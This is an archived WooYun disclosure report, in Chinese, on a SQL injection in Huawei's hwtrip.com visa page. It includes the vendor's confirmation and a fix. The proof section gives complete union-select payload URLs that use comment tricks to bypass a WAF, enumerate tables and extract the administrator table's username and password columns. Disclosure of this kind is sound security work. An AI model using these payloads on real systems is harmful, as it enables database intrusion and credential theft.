漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-099740
漏洞标题:华为爱旅主站绕过过滤SQL注入
相关厂商:华为技术有限公司
漏洞作者: 路人甲
提交时间:2015-03-06 18:03
修复时间:2015-04-20 18:04
公开时间:2015-04-20 18:04
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-03-06: 细节已通知厂商并且等待厂商处理中
2015-03-09: 厂商已经确认,细节仅向厂商公开
2015-03-19: 细节向核心白帽子及相关领域专家公开
2015-03-29: 细节向普通白帽子公开
2015-04-08: 细节向实习白帽子公开
2015-04-20: 细节向公众公开
简要描述:
两次绕过,感觉稍微有点艰难,还是可以绕过的!
详细说明:
注入点为:
http://www.hwtrip.com/v3/visa/product/detail?visaID=3
首先直接加order by 1,order by 2,...,直到发现是9个字段
然后通过union select 联合查询发现页面无法显示,通过看乌云漏洞发现应该是WAF吧
漏洞证明:
一、首先用/*!50000SeLect*/可以部分绕过检查
1.查看user()和数据库名:
http://www.hwtrip.com/v3/visa/product/detail?visaID=-1%20union%20/*!50000SeLect*/%201,2,3,user(),5,6,7,database(),9#
2.查看数据库版本为5.5.14:
3.然后通过数据库名查看数据库表呗,发现又一次悲剧了,没有任何回显:
http://www.hwtrip.com/v3/visa/product/detail?visaID=-1%20union%20/*!50000SeLect*/%201,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=0x68777472697032#
然后各种尝试将关键词加/*!50000*/发现都不能绕过,最后加Limit 0,1限制也不对,找sqlmap绕过WAF的py脚本尝试也不行,差点就放弃提交上来了,后来一朋友提醒绕WAF首先要搞定空格!突然大悟,然后开始接下来的尝试。
二、/*123*/代替空格成功绕过
1.http://www.hwtrip.com/v3/visa/product/detail?visaID=-1/*123*/union/*123*/SeLect/*123*/1,2,3,table_name,5,6,7,8,9/*123*/From/*123*/information_schema.tables/*123*/Where/*123*/TABLE_SCHEMA=0x68777472697032/*123*/Limit/*123*/0,1#
2.然后就是找关键表了,成功遍历到hwtrip_administrators表:
http://www.hwtrip.com/v3/visa/product/detail?visaID=-1/*123*/union/*123*/SeLect/*123*/1,2,3,table_name,5,6,7,8,9/*123*/From/*123*/information_schema.tables/*123*/Where/*123*/TABLE_SCHEMA=0x68777472697032/*123*/Limit/*123*/13,1#
3.找字段,发现敏感字段是username和password:
http://www.hwtrip.com/v3/visa/product/detail?visaID=-1/*123*/union/*123*/SeLect/*123*/1,2,3,COLUMN_NAME,5,6,7,8,9/*123*/From/*123*/information_schema.columns/*123*/Where/*123*/TABLE_NAME=0x6877747269705F61646D696E6973747261746F7273/*123*/Limit/*123*/1,1#
http://www.hwtrip.com/v3/visa/product/detail?visaID=-1/*123*/union/*123*/SeLect/*123*/1,2,3,COLUMN_NAME,5,6,7,8,9/*123*/From/*123*/information_schema.columns/*123*/Where/*123*/TABLE_NAME=0x6877747269705F61646D696E6973747261746F7273/*123*/Limit/*123*/3,1#
4.查看密码:
密码破不出来,那就换个账户吧
heyong密码相同
修复方案:
waf不是万能的
还是对参数进行整型转换下吧
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-03-09 11:23
厂商回复:
非常感谢白帽子对华为公司安全的关注,我们已通知业务部门修复该漏洞。
最新状态:
暂无